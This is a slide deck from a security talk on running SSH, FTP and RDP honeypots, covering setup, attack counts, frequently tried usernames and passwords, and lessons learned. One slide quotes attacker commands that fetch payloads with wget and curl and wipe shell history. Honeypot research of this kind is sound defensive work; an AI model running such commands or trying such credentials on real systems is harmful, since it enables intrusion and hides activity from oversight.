
What I learned...
...from running a honeypot

security researcher
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$whoami

» andi

» owasp newcastle chapter leader

» security researcher

» mobile security
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What is a honeypot?

» intentionally vulnerable system

» value lies in being attacked / compromised

» information gathering

» interaction
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Why? (motivation)

» capture live attacks (playground)

» story
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Setup

» cloud ☁

» docker 

!

 

» guide 

"
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Results

Focused on 3 honeypots

» cowrie (ssh)

» dionaea (ftp)

» rdpy (rdp)

» honeytap ???
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Dashboard
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Map
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Attacks

» Dionaea [860,908]

» Honeytap [4,469]

» Cowrie [1,696]
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Usernames

» sa [548,418]

» [88]

» root [80]

» admin [24]

» ubuntu [15]

@dr0idandy 12



Passwords

» [334]

» 66666666 [88]

» 123456 [87]

» password [87]

» 321321321 [86]

» 987654321 [86]
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Scripts

» unset HISTFILE; unset SAVEHIST

» echo "unset HISTFILE; unset SAVEHIST" >> ~/.bashrc

» wget exploit.x86

» curl mussolini.pl

» history -c
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Mistakes
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Firewall Rules
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Mistakes Learning Points / Challenges

» firewall rules

» gcp

» following the guide
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Conclusion

» mostly automated attacks

» compromise and then wait

» interesting to learn what is happening
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Future Work

» Customised

» Deployment 

» Automate
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Oh and...
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Links

https://medium.com/@Stephen_Chap/deploying-
monitoring-honeypots-on-gcp-with-kibana-899fef6fdf76

https://github.com/dtag-dev-sec/tpotce
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